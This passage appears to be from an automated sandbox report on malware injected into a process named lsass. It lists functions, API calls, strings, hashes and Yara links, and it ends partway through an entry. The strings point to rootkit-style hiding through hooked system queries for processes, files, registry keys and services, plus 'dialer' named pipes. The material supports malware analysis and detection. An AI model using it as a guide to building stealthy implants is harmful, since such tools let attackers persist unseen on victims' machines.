Part of subcall function 00000202C0AE1FD4: GetProcAddress.KERNEL32 ref: 00000202C0AE1FFD

Part of subcall function 00000202C0AE5B30: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5B6B

Strings

NtResumeThread, xrefs: 00000202C0AE1D62
NtDeviceIoControlFile, xrefs: 00000202C0AE1E56
NtEnumerateValueKey, xrefs: 00000202C0AE1DD6
NtQueryDirectoryFile, xrefs: 00000202C0AE1D7F
sechost.dll, xrefs: 00000202C0AE1E39
NtQuerySystemInformation, xrefs: 00000202C0AE1D45
NtEnumerateKey, xrefs: 00000202C0AE1DB9
NtQueryDirectoryFileEx, xrefs: 00000202C0AE1D9C
EnumServicesStatusExW, xrefs: 00000202C0AE1E11, 00000202C0AE1E32
advapi32.dll, xrefs: 00000202C0AE1DF7, 00000202C0AE1E18
EnumServiceGroupW, xrefs: 00000202C0AE1DF0
ntdll.dll, xrefs: 00000202C0AE1D2D

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 90a0736ddaf8fe37476ff4478ca91d660d6ffa8bbfea73cfc67e31501e438409
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 5031A2A5100B8AE0FE15EF69E8DD7DC2321F704748F835423D7A9021679F79866ED391

Function 00000202C0AB6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AB6938
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AB698A
_RTC_Initialize.LIBCMT ref: 00000202C0AB69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AB69DE
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AB6A09

Strings

`dynamic initializer for ', xrefs: 00000202C0AB69C7
scriptor', xrefs: 00000202C0AB6B39, 00000202C0AB6BB2, 00000202C0AB6BEC
`eh vector copy constructor iterator', xrefs: 00000202C0AB6A3B
`eh vector vbase copy constructor iterator', xrefs: 00000202C0AB69EE

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 14de66892ba18830acab2e245ab1e6cb8a15d62160b2822f01b591de40b948de
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 1381EE31600701CAFB50AB66A4CD39D66E8EB85780F57842BAB48977B7DF3DC88D8700

Function 00000202C0AECE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000202C0AECE37
FlsGetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECE4C
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECE6D
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECE9A
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECEAB
FlsSetValue.KERNEL32(?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECEBC
SetLastError.KERNEL32 ref: 00000202C0AECED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF0D
FlsSetValue.KERNEL32(?,?,00000001,00000202C0AEECCC,?,?,?,?,00000202C0AEBF9F,?,?,?,?,?,00000202C0AE7AB0), ref: 00000202C0AECF2C

Part of subcall function 00000202C0AED6CC: HeapAlloc.KERNEL32 ref: 00000202C0AED721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF54

Part of subcall function 00000202C0AED744: HeapFree.KERNEL32 ref: 00000202C0AED75A
Part of subcall function 00000202C0AED744: GetLastError.KERNEL32 ref: 00000202C0AED764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000202C0AF0A6B,?,?,?,00000202C0AF045C,?,?,?,00000202C0AEC84F), ref: 00000202C0AECF76

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 4882f9c6545ddba956175daa0b1033055c58a1b9921f799def37e079ec50fdf9
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 754197603013C4D6FE68A73555DD36D2242AB44BB4F174B27ABBB077E7EE38886A4600

Function 00000202C0AE2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000202C0AE2259
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE2263

Part of subcall function 00000202C0AE1934: OpenProcess.KERNEL32 ref: 00000202C0AE1952
Part of subcall function 00000202C0AE1934: IsWow64Process.KERNEL32 ref: 00000202C0AE1968
Part of subcall function 00000202C0AE1934: CloseHandle.KERNEL32 ref: 00000202C0AE1983

CreateFileW.KERNEL32 ref: 00000202C0AE22BC
WriteFile.KERNEL32 ref: 00000202C0AE22E4
ReadFile.KERNEL32 ref: 00000202C0AE2303
CloseHandle.KERNEL32 ref: 00000202C0AE230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000202C0AE2293
\\.\pipe\dialerchildproc64, xrefs: 00000202C0AE228C

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: a0d3f3940cedbe8f49a02ff4fcf1ce97ef5dd93de91068aee362f87148ae0ba9
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 31213832614B40C2FB208B25E48C75E67A5F789BA4F514217EB9A03BA9CF3DC54DCB00

Function 00000202C0AEA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000202C0AEA5A1

Part of subcall function 00000202C0AEB414: __GetUnwindTryBlock.LIBCMT ref: 00000202C0AEB457
Part of subcall function 00000202C0AEB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000202C0AEB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000202C0AEA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000202C0AEA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000202C0AEA9DA

Strings

csm, xrefs: 00000202C0AEA622
csm, xrefs: 00000202C0AEA5BB
csm, xrefs: 00000202C0AEA69C

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: dc69ca82dc18b6d9c62c9d97f6a4348578a3add946f7b447ab90ca90604d3949
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 12E16A72600B80CAFB60DB65948C39D77A4F7A6B98F120117EFA957B97CB34D4A9C700

Function 00000202C0AB9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000202C0AB99A1

Part of subcall function 00000202C0ABA814: __GetUnwindTryBlock.LIBCMT ref: 00000202C0ABA857
Part of subcall function 00000202C0ABA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000202C0ABA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000202C0AB9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000202C0AB9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000202C0AB9DDA

Strings

csm, xrefs: 00000202C0AB99BB
csm, xrefs: 00000202C0AB9A22
csm, xrefs: 00000202C0AB9A9C

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 181cfaa8d1e203509729981359315e3b225e44fdda2c096569e0a7ba0a0bf46d
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: E5E17A72604B80CAFB60DB69D48839D7BA4F755B98F12011BEF8957B9ACB34C499C704

Function 00000202C0AEF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000202C0AEF510
GetProcAddress.KERNEL32 ref: 00000202C0AEF51C

Strings

api-ms-, xrefs: 00000202C0AEF45A
ext-ms-, xrefs: 00000202C0AEF46D

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 26dcd2d441800ec49dab0db58e17c16847a3beddbc1f683c45a4dffa8db80317
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2A41F422311B90D1FA16CB56A88C75E2395F748BA0F0A45279F6E877D6EE3DC45D8300

Function 00000202C0AE104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE10B1
RegEnumValueW.ADVAPI32 ref: 00000202C0AE1117
GetProcessHeap.KERNEL32 ref: 00000202C0AE115A
HeapAlloc.KERNEL32 ref: 00000202C0AE1168
GetProcessHeap.KERNEL32 ref: 00000202C0AE1185
HeapFree.KERNEL32 ref: 00000202C0AE1193

Strings

d, xrefs: 00000202C0AE10D6

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: a80658ec44f4b8303e4c6cbc6e08df687ba0206d03e3ba62d1abb9220ce3f758
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: B6415E73214B84C6F760CF21E48879E77A5F388B98F45822ADB8907B59DF39C599CB40

Function 00000202C0AED068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED087
FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0A6
FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0CE
FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0DF
FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0F0

Strings

Y%, xrefs: 00000202C0AED0A6
1%, xrefs: 00000202C0AED0CE

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 363b9827668d8b761d31e44ad5a3e4dbf29d2bfe1cda884ffc1cc8260375dec9
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D111AB607043C4C6FE68973555DD37D6141AB447F4F1A4727EAFA077DBDE28C86A8600

Function 00000202C0AE7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AE7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AE758A
_RTC_Initialize.LIBCMT ref: 00000202C0AE75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AE75DE
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AE7609

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 14979f1a24b322753f854ca5a4dead1d4ee237c3b69154d6c2c35d4c8e247c5d
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CE81F4617007C1C6FB54AB65A8CD39D2390BB85B84F174427EBE9477A7EB38CA6D8700

Function 00000202C0AE9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000202C0AE9E49
GetLastError.KERNEL32 ref: 00000202C0AE9E57
LoadLibraryExW.KERNEL32 ref: 00000202C0AE9E81
FreeLibrary.KERNEL32 ref: 00000202C0AE9EC7
GetProcAddress.KERNEL32 ref: 00000202C0AE9ED3

Strings

api-ms-, xrefs: 00000202C0AE9E69

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 93692ba9be4b391852265e8ab40df330be3080cd4f0ad2a801a0759650363b03
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: A731A722212B80D1FE15DB42A48C75D2294B748BA0F5B49279FBE07792DF39C5AD8304

Function 00000202C0AF3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000202C0AF3DE5
GetLastError.KERNEL32 ref: 00000202C0AF3DF1
CloseHandle.KERNEL32 ref: 00000202C0AF3E09
CreateFileW.KERNEL32 ref: 00000202C0AF3E34
WriteConsoleW.KERNEL32 ref: 00000202C0AF3E53

Strings

CONOUT$, xrefs: 00000202C0AF3E15

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: b26ab6e85d4882431b05eb7ffbdc71b03f0f6e90507cbc4b46897213533c190b
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 91116D22314B40C6F7508B52E89C71D77A4F788FE8F154227EA5E877A6CF39C8188744

Function 00000202C0AE3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000202C0AE379E
GetCurrentProcess.KERNEL32 ref: 00000202C0AE37CC
VirtualProtectEx.KERNEL32 ref: 00000202C0AE37EE
GetCurrentProcess.KERNEL32 ref: 00000202C0AE3809
VirtualProtectEx.KERNEL32 ref: 00000202C0AE382A

Strings

wr, xrefs: 00000202C0AE37FF

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: bcb637cd16c44afa16a89db43d108bf5c410f3b34640b7b1e1fa2b494dd30d53
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: E1115726304B81C2FB149B21E48C26D72B4FB88B85F06412BDF99037AAEF3EC509C704

Function 00000202C0AE5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5B6B
GetThreadContext.KERNEL32 ref: 00000202C0AE5CD5

Part of subcall function 00000202C0AE5960: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5964

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: dbc3b65819fd6533e59164d32a3bb8f97f2c88b353aa9b524f2c9543e34d3ae7
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 30D18776205B88C6EA70DB1AE49835E77A0F388B88F110517EADE47BA6DF3CC555CB40

Function 00000202C0AE2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE2F27
HeapAlloc.KERNEL32 ref: 00000202C0AE2F3A
StrCmpNIW.SHLWAPI ref: 00000202C0AE2FAF
GetProcessHeap.KERNEL32 ref: 00000202C0AE3015
HeapFree.KERNEL32 ref: 00000202C0AE3023

Strings

dialer, xrefs: 00000202C0AE2FA8

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 539d7fa312dabe0a02a4a36991552fccd56336bf33b53f387f86ad28829e058b
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 18319D22701B91C2FA14CF16A98C72DA7A0FB44B84F0A41279F9847B67EF35C4B98740

Function 00000202C0AECFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000202C0AECFAF
FlsSetValue.KERNEL32(?,?,?,00000202C0AED6B5,?,?,?,?,00000202C0AED778), ref: 00000202C0AECFE5
FlsSetValue.KERNEL32(?,?,?,00000202C0AED6B5,?,?,?,?,00000202C0AED778), ref: 00000202C0AED012
FlsSetValue.KERNEL32(?,?,?,00000202C0AED6B5,?,?,?,?,00000202C0AED778), ref: 00000202C0AED023
FlsSetValue.KERNEL32(?,?,?,00000202C0AED6B5,?,?,?,?,00000202C0AED778), ref: 00000202C0AED034
SetLastError.KERNEL32 ref: 00000202C0AED04F

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: c83c6b407707b4dbc6b3b7b82b2caed50328515e1eb0a43fe36386d7293909be
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 0A1163203013C0C6FE68A73555DD72D6242AB987F4F164727EAB7477E7EE68C86A8700

Function 00000202C0AE199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000202C0AE19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE19E0
PathFindFileNameW.SHLWAPI ref: 00000202C0AE19EF
lstrlenW.KERNEL32 ref: 00000202C0AE19FB
StrCpyW.SHLWAPI ref: 00000202C0AE1A0E
CloseHandle.KERNEL32 ref: 00000202C0AE1A1C

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: c1f12f185a365d98643c548e91b1e72bf4effc7dbd05845da70183f29bcaf82d
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: DD010532301B80C2FA649B52A89C75963A9B788FC4F894137DF9A43766DE39C989C740

Function 00000202C0AE36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000202C0AE36E4
GetCurrentProcess.KERNEL32 ref: 00000202C0AE36F2
VirtualProtectEx.KERNEL32 ref: 00000202C0AE3714
GetCurrentProcess.KERNEL32 ref: 00000202C0AE3732
VirtualProtectEx.KERNEL32 ref: 00000202C0AE3753
TerminateThread.KERNEL32 ref: 00000202C0AE3762

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 164501a6415bffd66fe917e88f769ddc3ad1f1b40aa64bea97b79c9247d2f77e
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: B5012DB6611B40C2FB249B21E88C71E73A4BB45B86F154527CF9907766EF3EC55C8704

Function 00000202C0AE8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AE9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AE90A8
RtlUnwindEx.NTDLL ref: 00000202C0AE90F7

Strings

csm, xrefs: 00000202C0AE908E
f, xrefs: 00000202C0AE9026

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 4b0a6f3e062a47a2f3e77ad4f28d0830188973ba44af3f5408a27d7634b4296d
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 6751BF32201B81CAFB94CF15E88CB5D3795F344B88F528227DBA64774AEB35C859C708

Function 00000202C0AE3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000202C0AE3066
StrCpyW.SHLWAPI ref: 00000202C0AE3076
StrCatW.SHLWAPI ref: 00000202C0AE3082
PathCombineW.SHLWAPI ref: 00000202C0AE3090

Strings

\\.\pipe\, xrefs: 00000202C0AE305C

Memory Dump Source

